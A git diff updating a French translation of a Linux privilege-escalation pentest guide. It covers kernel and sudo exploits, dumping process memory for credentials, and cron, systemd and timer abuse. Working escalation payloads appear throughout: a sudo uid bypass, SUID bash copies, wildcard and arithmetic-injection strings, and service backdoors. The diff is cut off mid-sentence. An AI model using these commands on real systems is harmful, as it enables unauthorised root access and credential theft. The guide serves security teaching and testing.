diff --git a/src/images/k8studio.jpg b/src/images/k8studio.jpg deleted file mode 100644 index 1c427e89f..000000000 Binary files a/src/images/k8studio.jpg and /dev/null differ diff --git a/src/images/k8studio.png b/src/images/k8studio.png new file mode 100644 index 000000000..0add889f2 Binary files /dev/null and b/src/images/k8studio.png differ diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 0fe72f246..b8a4b2a07 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -4,9 +4,9 @@ ## Informations système -### Infos OS +### Informations sur l'OS -Commençons par obtenir quelques informations sur l'OS en cours d'exécution +Commençons par obtenir des informations sur l'OS en cours d'exécution ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -20,32 +20,32 @@ echo $PATH ``` ### Infos d'environnement -Des informations intéressantes, des mots de passe ou des API keys dans les variables d'environnement ? +Informations intéressantes, mots de passe ou clés API dans les variables d'environnement ? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Vérifiez la version du kernel et s'il existe un exploit pouvant être utilisé pour escalate privileges +Vérifiez la version du kernel et s'il existe un exploit pouvant être utilisé pour escalader les privilèges ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Vous pouvez trouver une bonne liste de kernel vulnérables et quelques **compiled exploits** ici: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -D'autres sites où vous pouvez trouver des **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Vous pouvez trouver une bonne liste de kernels vulnérables et quelques **compiled exploits** ici: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) et [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +D'autres sites où vous pouvez trouver des **compiled exploits** : [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Pour extraire toutes les versions de kernel vulnérables de ce site, vous pouvez faire : +Pour extraire toutes les versions de kernel vulnérables depuis ce site, vous pouvez faire : ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Outils qui peuvent aider à rechercher des exploits pour le kernel : +Outils qui peuvent aider à rechercher kernel exploits : [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (exécuter sur la machine victime, ne vérifie que les exploits pour kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (exécuter SUR la victime, vérifie uniquement les exploits pour kernel 2.x) -Recherchez toujours la version du kernel sur Google — il se peut que votre version du kernel soit mentionnée dans un exploit, ce qui vous permettra d'être sûr que cet exploit est applicable. +Toujours **search the kernel version in Google**, peut-être que votre kernel version est indiquée dans un kernel exploit, ce qui vous permettra de vérifier que cet exploit est valide. ### CVE-2016-5195 (DirtyCow) @@ -57,17 +57,17 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo version +### Version de sudo -Basé sur les versions vulnérables de sudo qui apparaissent dans: +D'après les versions vulnérables de sudo qui apparaissent dans : ```bash searchsploit sudo ``` -Vous pouvez vérifier si la version de sudo est vulnérable en utilisant cette commande grep. +Vous pouvez vérifier si la version de sudo est vulnérable en utilisant grep. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` -#### sudo < v1.28 +#### sudo < v1.8.28 De @sickrov ``` @@ -75,7 +75,7 @@ sudo -u#-1 /bin/bash ``` ### Dmesg : échec de la vérification de la signature -Consultez **smasher2 box of HTB** pour un **exemple** montrant comment cette vuln pourrait être exploitée +Consultez **smasher2 box of HTB** pour un **exemple** de la façon dont cette vuln pourrait être exploitée ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -123,8 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Si vous êtes à l'intérieur d'un conteneur Docker, vous pouvez essayer d'en sortir : - +Si vous êtes à l'intérieur d'un docker container vous pouvez essayer de vous en échapper : {{#ref}} docker-security/ @@ -132,7 +131,7 @@ docker-security/ ## Disques -Vérifiez **ce qui est monté et démonté**, où et pourquoi. Si quelque chose n'est pas monté, vous pouvez essayer de le monter et vérifier s'il contient des informations privées +Vérifiez **what is mounted and unmounted**, où et pourquoi. Si quelque chose est unmounted vous pouvez essayer de le mount et vérifier s'il contient des informations privées ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -145,55 +144,56 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Vérifiez aussi si **un compilateur est installé**. Ceci est utile si vous devez utiliser un kernel exploit, car il est recommandé de le compiler sur la machine où vous allez l'utiliser (ou sur une similaire). +Vérifiez également si **un compilateur est installé**. Cela est utile si vous devez utiliser un kernel exploit car il est recommandé de le compiler sur la machine où vous allez l'utiliser (ou sur une similaire) ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Logiciels vulnérables installés -Vérifiez la **version des paquets et services installés**. Peut-être qu'il y a une ancienne version de Nagios (par exemple) qui pourrait être exploitée pour escalating privileges…\ +Vérifiez la **version des paquets et services installés**. Il se peut qu'il y ait une ancienne version de Nagios (par exemple) qui pourrait être exploitée pour escalating privileges…\ Il est recommandé de vérifier manuellement la version des logiciels installés les plus suspects. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Si vous avez un accès SSH à la machine, vous pouvez également utiliser **openVAS** pour vérifier si des logiciels installés sur la machine sont obsolètes ou vulnérables. +If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. -> [!NOTE] > _Notez que ces commandes afficheront beaucoup d'informations qui seront pour la plupart inutiles ; il est donc recommandé d'utiliser des applications comme OpenVAS ou similares qui vérifieront si une version de logiciel installée est vulnérable à des exploits connus_ +> [!NOTE] > _Notez que ces commandes afficheront beaucoup d'informations généralement inutiles ; il est donc recommandé d'utiliser des applications comme OpenVAS ou similaires pour vérifier si une version de logiciel installée est vulnérable à des exploits connus_ ## Processus -Examinez **quels processus** sont en cours d'exécution et vérifiez si un processus possède **plus de privilèges qu'il ne devrait** (par exemple, un tomcat exécuté par root ?) +Regardez **quels processus** sont exécutés et vérifiez si un processus possède **plus de privilèges qu'il ne devrait** (peut-être un tomcat exécuté par root ?) ```bash ps aux ps -ef top -n 1 ``` -Vérifiez toujours s'il y a des [**electron/cef/chromium debuggers** en cours d'exécution, vous pourriez les exploiter pour escalader des privilèges](electron-cef-chromium-debugger-abuse.md). **Linpeas** les détecte en vérifiant le paramètre `--inspect` dans la ligne de commande du processus.\ Aussi **vérifiez vos privilèges sur les binaires des processus**, peut-être que vous pouvez écraser le binaire de quelqu'un. +Vérifiez toujours la présence possible de [**electron/cef/chromium debuggers** en cours d'exécution, vous pourriez les exploiter pour escalader les privilèges](electron-cef-chromium-debugger-abuse.md). **Linpeas** détecte ceux-ci en vérifiant le paramètre `--inspect` dans la ligne de commande du processus.\ +Vérifiez également **vos privilèges sur les binaires des processus**, vous pouvez peut‑être en écraser un. ### Process monitoring -Vous pouvez utiliser des outils comme [**pspy**](https://github.com/DominicBreuker/pspy) pour surveiller les processus. Cela peut être très utile pour identifier des processus vulnérables exécutés fréquemment ou lorsque certaines conditions sont réunies. +Vous pouvez utiliser des outils comme [**pspy**](https://github.com/DominicBreuker/pspy) pour surveiller les processus. Cela peut être très utile pour identifier des processus vulnérables exécutés fréquemment ou lorsque certaines conditions sont remplies. ### Process memory -Certains services d'un serveur sauvegardent **des credentials en clair dans la mémoire**.\ -Normalement, vous aurez besoin des **privilèges root** pour lire la mémoire des processus appartenant à d'autres utilisateurs, donc c'est généralement plus utile quand vous êtes déjà root et que vous voulez découvrir d'autres credentials.\ -Cependant, souvenez-vous qu'**en tant qu'utilisateur non privilégié vous pouvez lire la mémoire des processus que vous possédez**. +Certains services d'un serveur enregistrent des **credentials en clair dans la mémoire**.\ +Normalement vous aurez besoin de **root privileges** pour lire la mémoire des processus appartenant à d'autres utilisateurs, donc cela est généralement plus utile lorsque vous êtes déjà root et souhaitez découvrir d'autres credentials.\ +Cependant, souvenez-vous que **en tant qu'utilisateur ordinaire vous pouvez lire la mémoire des processus que vous possédez**. > [!WARNING] -> Notez qu'à présent la plupart des machines **n'autorisent pas ptrace par défaut**, ce qui signifie que vous ne pouvez pas dumper d'autres processus appartenant à votre utilisateur non privilégié. +> Notez qu'aujourd'hui la plupart des machines **n'autorisent pas ptrace par défaut**, ce qui signifie que vous ne pouvez pas dumper d'autres processus appartenant à votre utilisateur non privilégié. > -> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: +> Le fichier _**/proc/sys/kernel/yama/ptrace_scope**_ contrôle l'accessibilité de ptrace: > -> - **kernel.yama.ptrace_scope = 0**: tous les processus peuvent être débogués, tant qu'ils ont le même uid. C'est le mode classique de fonctionnement de ptrace. -> - **kernel.yama.ptrace_scope = 1**: seul le processus parent peut être débogué. -> - **kernel.yama.ptrace_scope = 2**: Seul l'admin peut utiliser ptrace, car cela nécessite la capability CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: Aucun processus ne peut être tracé avec ptrace. Une fois défini, un redémarrage est nécessaire pour réactiver ptrace. +> - **kernel.yama.ptrace_scope = 0**: tous les processus peuvent être débogués, tant qu'ils ont le même uid. C'est le mode classique de fonctionnement du ptracing. +> - **kernel.yama.ptrace_scope = 1**: seul un processus parent peut être débogué. +> - **kernel.yama.ptrace_scope = 2**: seul l'admin peut utiliser ptrace, car cela nécessite la capability CAP_SYS_PTRACE. +> - **kernel.yama.ptrace_scope = 3**: Aucun processus ne peut être tracé avec ptrace. Une fois défini, un redémarrage est nécessaire pour réactiver le ptracing. #### GDB -Si vous avez accès à la mémoire d'un service FTP (par exemple) vous pouvez récupérer le Heap et y rechercher ses credentials. +Si vous avez accès à la mémoire d'un service FTP (par exemple) vous pourriez récupérer le Heap et rechercher à l'intérieur ses credentials. ```bash gdb -p (gdb) info proc mappings @@ -202,7 +202,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### Script GDB +#### GDB Script ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Pour un ID de processus donné, **maps montrent comment la mémoire est mappée dans l'espace d'adresses virtuelles de ce processus** ; elles montrent aussi les **permissions de chaque région mappée**. Le fichier pseudo **mem** **expose la mémoire du processus**. À partir du fichier **maps**, nous savons quelles **régions mémoire sont lisibles** et leurs offsets. Nous utilisons ces informations pour **seek dans le fichier mem et dump toutes les régions lisibles** vers un fichier. +Pour un PID donné, **les maps montrent comment la mémoire est mappée dans l'espace d'adressage virtuel du processus** ; elles montrent aussi les **permissions de chaque région mappée**. Le pseudo-fichier **mem** **expose la mémoire du processus elle-même**. À partir du fichier **maps** nous savons quelles **régions mémoire sont lisibles** et leurs offsets. Nous utilisons ces informations pour **nous positionner dans le fichier mem et effectuer un dump de toutes les régions lisibles** dans un fichier. ```bash procdump() ( @@ -230,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` fournit l'accès à la mémoire **physique** du système, pas à la mémoire virtuelle. L'espace d'adresses virtuelles du noyau peut être accédé en utilisant /dev/kmem.\ -Généralement, `/dev/mem` n'est lisible que par **root** et le groupe **kmem**. +`/dev/mem` fournit un accès à la mémoire **physique** du système, pas à la mémoire virtuelle. L'espace d'adresses virtuelles du kernel peut être accédé en utilisant /dev/kmem.\ +Typiquement, `/dev/mem` n'est lisible que par **root** et le groupe **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump pour Linux -ProcDump est une réinvention pour Linux du classique outil ProcDump de la suite Sysinternals pour Windows. Téléchargez-le sur [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump est une réinvention pour Linux de l'outil classique ProcDump de la suite Sysinternals pour Windows. Obtenez-le sur [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -266,38 +266,38 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Outils -To dump a process memory you could use: +Pour dumper la mémoire d'un process, vous pouvez utiliser : - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Vous pouvez supprimer manuellement les exigences root et dumper le process qui vous appartient -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root requis) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Vous pouvez retirer manuellement les root requirements et dumper le process qui vous appartient +- Script A.5 de [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root est requis) -### Identifiants depuis la mémoire du processus +### Identifiants depuis la mémoire des processus #### Exemple manuel -Si vous constatez que le processus authenticator est en cours d'exécution: +Si vous constatez que le processus authenticator est en cours d'exécution : ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Vous pouvez dump le processus (voir les sections précédentes pour trouver différentes façons de dump la mémoire d'un processus) et rechercher des credentials dans la mémoire : +Vous pouvez dump le process (voir les sections précédentes pour trouver différentes façons de dump la memory d'un process) et rechercher des credentials dans la memory: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -L'outil [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) va **voler des identifiants en clair depuis la mémoire** et depuis certains **fichiers bien connus**. Il nécessite les privilèges root pour fonctionner correctement. +L'outil [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) va **voler des identifiants en clair depuis la mémoire** et depuis certains **fichiers bien connus**. Il nécessite des privilèges root pour fonctionner correctement. | Fonctionnalité | Nom du processus | | ------------------------------------------------- | -------------------- | | Mot de passe GDM (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Connexions FTP actives) | vsftpd | -| Apache2 (sessions HTTP Basic Auth actives) | apache2 | -| OpenSSH (sessions SSH actives - utilisation de sudo) | sshd: | +| VSFTPd (connexions FTP actives) | vsftpd | +| Apache2 (sessions d'authentification HTTP Basic actives) | apache2 | +| OpenSSH (sessions SSH actives - utilisation de sudo) | sshd: | #### Expressions régulières de recherche/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -313,18 +313,18 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Tâches planifiées / Cron jobs +## Tâches planifiées/Cron jobs -### Crontab UI (alseambusher) s'exécutant en tant que root – privesc via planificateur web +### Crontab UI (alseambusher) s'exécutant en tant que root – planificateur web privesc -Si un panneau web “Crontab UI” (alseambusher/crontab-ui) s'exécute en tant que root et n'est lié qu'à loopback, vous pouvez quand même y accéder via SSH local port-forwarding et créer un job privilégié pour escalader. +Si un panneau web “Crontab UI” (alseambusher/crontab-ui) s'exécute en tant que root et n'est lié qu'à loopback, vous pouvez quand même y accéder via SSH local port-forwarding et créer une tâche privilégiée pour obtenir un privesc. -Chaîne typique -- Découvrir un port accessible uniquement depuis loopback (ex. 127.0.0.1:8000) et le realm Basic-Auth via `ss -ntlp` / `curl -v localhost:8000` +Typical chain +- Découvrir un port accessible uniquement depuis loopback (p.ex., 127.0.0.1:8000) et le realm Basic-Auth via `ss -ntlp` / `curl -v localhost:8000` - Trouver des identifiants dans des artefacts opérationnels : - - Backups/scripts contenant `zip -P ` + - Sauvegardes/scripts utilisant `zip -P ` - Unité systemd exposant `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` -- Créer un tunnel et se connecter : +- Créer le tunnel et se connecter : ```bash ssh -L 9001:localhost:8000 user@target # browse http://localhost:9001 and authenticate @@ -340,52 +340,53 @@ cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell /tmp/rootshell -p # root shell ``` Durcissement -- Ne pas exécuter Crontab UI en tant que root ; restreindre avec un utilisateur dédié et des permissions minimales -- Lier à localhost et restreindre l'accès en complément via firewall/VPN ; ne pas réutiliser les mots de passe -- Éviter d'intégrer des secrets dans les unit files ; utiliser des secret stores ou un EnvironmentFile accessible uniquement par root -- Activer l'audit/logging pour les exécutions de jobs à la demande +- Ne lancez pas Crontab UI en tant que root ; limitez-le à un utilisateur dédié avec les permissions minimales +- Limitez l'écoute à localhost et restreignez l'accès via firewall/VPN ; ne réutilisez pas les mots de passe +- Évitez d'intégrer des secrets dans les unit files ; utilisez des gestionnaires de secrets ou un EnvironmentFile accessible uniquement par root +- Activez l'audit/la journalisation pour les exécutions de jobs à la demande -Vérifiez si une tâche planifiée est vulnérable. Peut-être pouvez-vous exploiter un script exécuté par root (wildcard vuln ? modifier des fichiers utilisés par root ? utiliser des symlinks ? créer des fichiers spécifiques dans le répertoire utilisé par root ?). +Vérifiez si une tâche planifiée est vulnérable. Peut-être pouvez-vous tirer parti d'un script exécuté par root (wildcard vuln ? modifier des fichiers que root utilise ? utiliser des symlinks ? créer des fichiers spécifiques dans le répertoire utilisé par root ?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Chemin du cron +### Cron path Par exemple, dans _/etc/crontab_ vous pouvez trouver le PATH : _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ (_Remarquez que l'utilisateur "user" a des privilèges d'écriture sur /home/user_) -Si dans ce crontab le root user tente d'exécuter une commande ou un script sans définir le PATH. Par exemple: _\* \* \* \* root overwrite.sh_\ -Alors, vous pouvez obtenir un shell root en utilisant: +Si, dans ce crontab, l'utilisateur root tente d'exécuter une commande ou un script sans définir le PATH. Par exemple : _\* \* \* \* root overwrite.sh_\ +Vous pouvez alors obtenir un shell root en utilisant : ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron utilisant un script avec un wildcard (Wildcard Injection) +### Cron exécutant un script contenant un wildcard (Wildcard Injection) -Si un script exécuté par root contient un “**\***” dans une commande, vous pouvez exploiter cela pour provoquer des comportements inattendus (comme un privesc). Exemple: +Si un script exécuté par root contient un “**\***” dans une commande, vous pouvez l'exploiter pour provoquer des comportements inattendus (comme privesc). Exemple : ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Si le caractère générique est précédé d'un chemin comme** _**/some/path/\***_ **, il n'est pas vulnérable (même** _**./\***_ **ne l'est pas).** +**Si le wildcard est précédé d'un chemin comme** _**/some/path/\***_ **, il n'est pas vulnérable (même** _**./\***_ **ne l'est pas).** + +Lisez la page suivante pour plus d'astuces d'exploitation des wildcards : -Lisez la page suivante pour plus d'astuces d'exploitation du caractère générique : {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Bash arithmetic expansion injection in cron log parsers +### Injection via l'expansion arithmétique Bash dans les parseurs de logs cron -Bash effectue l'expansion de paramètres et la substitution de commande avant l'évaluation arithmétique dans ((...)), $((...)) et let. Si un cron/parser exécuté en root lit des champs de log non fiables et les injecte dans un contexte arithmétique, un attaquant peut injecter une substitution de commande $(...) qui s'exécutera en tant que root lorsque le cron s'exécute. +Bash effectue des expansions de paramètres et des substitutions de commande avant l'évaluation arithmétique dans ((...)), $((...)) et let. Si un cron/parser exécuté en root lit des champs de log non fiables et les injecte dans un contexte arithmétique, un attaquant peut insérer une command substitution $(...) qui s'exécute en root lorsque le cron s'exécute. -- Pourquoi ça fonctionne : Dans Bash, les expansions se produisent dans cet ordre : expansion de paramètres/variables, substitution de commande, expansion arithmétique, puis découpage des mots et expansion de chemins. Ainsi une valeur comme `$(/bin/bash -c 'id > /tmp/pwn')0` est d'abord substituée (exécution de la commande), puis le `0` numérique restant est utilisé pour l'arithmétique, de sorte que le script continue sans erreurs. +- Pourquoi cela fonctionne : Dans Bash, les expansions se produisent dans cet ordre : expansion des paramètres/variables, substitution de commande, expansion arithmétique, puis découpage des mots et expansion des chemins. Ainsi, une valeur comme `$(/bin/bash -c 'id > /tmp/pwn')0` est d'abord substituée (exécution de la commande), puis le `0` numérique restant est utilisé pour l'arithmétique de sorte que le script continue sans erreur. -- Schéma typique vulnérable : +- Exemple de motif vulnérable : ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -395,14 +396,14 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploitation : Faites écrire du texte contrôlé par l'attaquant dans le log analysé de sorte que le champ ressemblant à un nombre contienne une substitution de commande et se termine par un chiffre. Assurez-vous que votre commande n'écrit pas sur stdout (ou redirigez-la) afin que l'arithmétique reste valide. +- Exploitation : Faites en sorte qu'un texte contrôlé par l'attaquant soit écrit dans le log analysé de sorte que le champ à apparence numérique contienne une command substitution et se termine par un chiffre. Assurez-vous que votre commande n'écrit pas sur stdout (ou redirigez-la) afin que l'opération arithmétique reste valide. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 # When the root cron parser evaluates (( total += count )), your command runs as root. ``` -### Cron script overwriting and symlink +### Écrasement de scripts cron et symlink Si vous **pouvez modifier un script cron** exécuté par root, vous pouvez obtenir un shell très facilement : ```bash @@ -410,23 +411,23 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Si le script exécuté par root utilise un **directory où vous avez full access**, il peut être utile de supprimer ce folder et de **créer un symlink folder vers un autre** pointant vers un script que vous contrôlez. +Si le script exécuté par root utilise un **répertoire où vous avez un accès complet**, il peut être utile de supprimer ce dossier et de **créer un symlink vers un autre répertoire** qui sert un script contrôlé par vous. ```bash ln -d -s ``` -### cron jobs fréquents +### Tâches cron fréquentes -Vous pouvez surveiller les processus pour repérer ceux qui s'exécutent toutes les 1, 2 ou 5 minutes. Peut-être pourrez-vous en tirer profit et escalate privileges. +Vous pouvez surveiller les processus pour rechercher ceux qui s'exécutent toutes les 1, 2 ou 5 minutes. Peut-être que vous pouvez en tirer parti et obtenir une élévation de privilèges. -Par exemple, pour **surveiller toutes les 0,1s pendant 1 minute**, **trier par commandes les moins exécutées** et supprimer les commandes qui ont été exécutées le plus souvent, vous pouvez faire : +Par exemple, pour **surveiller toutes les 0,1 s pendant 1 minute**, **trier par commandes les moins exécutées** et supprimer les commandes qui ont été exécutées le plus souvent, vous pouvez faire : ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Vous pouvez aussi utiliser** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (il va surveiller et lister chaque processus qui démarre). +**Vous pouvez aussi utiliser** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (il surveillera et listera chaque processus qui démarre). ### Cron jobs invisibles -Il est possible de créer un cronjob **en mettant un caractère de retour chariot après un commentaire** (sans caractère de saut de ligne), et le cronjob fonctionnera. Exemple (notez le caractère de retour chariot): +Il est possible de créer un cronjob **en mettant un retour chariot après un commentaire** (sans caractère de nouvelle ligne), et le cron job fonctionnera. Exemple (remarquez le caractère retour chariot): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -434,85 +435,85 @@ Il est possible de créer un cronjob **en mettant un caractère de retour chario ### Fichiers _.service_ modifiables -Vérifiez si vous pouvez écrire un fichier `.service`, si oui, vous **pourriez le modifier** afin qu'il **exécute** votre **backdoor lorsque** le service est **démarré**, **redémarré** ou **arrêté** (vous devrez peut‑être attendre que la machine soit redémarrée).\ -Par exemple créez votre backdoor dans le fichier .service avec **`ExecStart=/tmp/script.sh`** +Vérifiez si vous pouvez écrire un fichier `.service`, si vous le pouvez, vous **pourriez le modifier** pour qu'il **exécute** votre **backdoor lorsque** le service est **démarré**, **redémarré** ou **arrêté** (vous devrez peut-être attendre que la machine soit redémarrée).\ +Par exemple, créez votre backdoor dans le fichier `.service` avec **`ExecStart=/tmp/script.sh`** -### Binaires de services modifiables +### Binaires de service modifiables -Gardez à l'esprit que si vous avez des **permissions d'écriture sur les binaires exécutés par des services**, vous pouvez les modifier pour y mettre des backdoors de sorte que lorsque les services seront réexécutés, les backdoors s'exécuteront. +Gardez à l'esprit que si vous avez **les permissions d'écriture sur des binaires exécutés par des services**, vous pouvez les modifier pour y placer des backdoors, de sorte que lorsque les services seront relancés, les backdoors s'exécuteront. ### systemd PATH - Chemins relatifs -Vous pouvez voir le PATH utilisé par **systemd** avec: +Vous pouvez afficher le PATH utilisé par **systemd** avec: ```bash systemctl show-environment ``` -Si vous constatez que vous pouvez **écrire** dans n'importe lequel des dossiers du chemin, vous pouvez peut-être **obtenir une élévation de privilèges**. Vous devez rechercher des **chemins relatifs utilisés dans les fichiers de configuration des services** comme : +Si vous constatez que vous pouvez **write** dans n'importe lequel des dossiers du chemin, vous pourriez être en mesure d'**escalate privileges**. Il faut rechercher des fichiers de **service configurations** utilisant des **relative paths**, comme : ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Ensuite, créez un **exécutable** portant **le même nom que le binaire du chemin relatif** dans le dossier systemd PATH que vous pouvez écrire, et lorsque le service est invité à exécuter l'action vulnérable (**Start**, **Stop**, **Reload**), votre **backdoor sera exécutée** (les utilisateurs non privilégiés ne peuvent généralement pas démarrer/arrêter des services, mais vérifiez si vous pouvez utiliser `sudo -l`). +Ensuite, créez un **exécutable** ayant **le même nom que le binaire du chemin relatif** dans le dossier PATH de systemd sur lequel vous pouvez écrire, et lorsque le service est invité à exécuter l'action vulnérable (**Démarrer**, **Arrêter**, **Recharger**), votre **backdoor** sera exécutée (les utilisateurs non privilégiés ne peuvent généralement pas démarrer/arrêter des services, mais vérifiez si vous pouvez utiliser `sudo -l`). **En savoir plus sur les services avec `man systemd.service`.** ## **Timers** -**Timers** sont des fichiers d'unité systemd dont le nom se termine par `**.timer**` et qui contrôlent des fichiers ou des événements `**.service**`. Les **Timers** peuvent être utilisés comme une alternative à cron car ils ont un support natif pour les événements calendaires et les événements temporels monotones et peuvent s'exécuter de manière asynchrone. +**Timers** sont des unit files systemd dont le nom se termine par `**.timer**` qui contrôlent des fichiers ou événements `**.service**`. Les **Timers** peuvent être utilisés comme alternative à cron puisqu'ils intègrent la prise en charge des événements temporels basés sur le calendrier et des événements temporels monotones, et peuvent s'exécuter de manière asynchrone. -Vous pouvez énumérer tous les timers avec : +Vous pouvez énumérer tous les timers avec: ```bash systemctl list-timers --all ``` ### Timers modifiables -Si vous pouvez modifier un timer, vous pouvez le faire exécuter certaines unités existantes de systemd.unit (comme un `.service` ou un `.target`) +Si vous pouvez modifier un timer, vous pouvez le faire exécuter certaines unités existantes de systemd.unit (comme une `.service` ou une `.target`). ```bash Unit=backdoor.service ``` Dans la documentation vous pouvez lire ce qu'est l'unité : -> L'unité à activer lorsque ce timer expire. L'argument est un nom d'unité, dont le suffixe n'est pas ".timer". Si non spécifié, cette valeur par défaut correspond à un service qui a le même nom que l'unité timer, à l'exception du suffixe. (Voir ci‑dessus.) Il est recommandé que le nom de l'unité activée et le nom de l'unité de timer soient nommés de manière identique, à l'exception du suffixe. +> L'unité à activer lorsque ce timer expire. L'argument est un nom d'unité, dont le suffixe 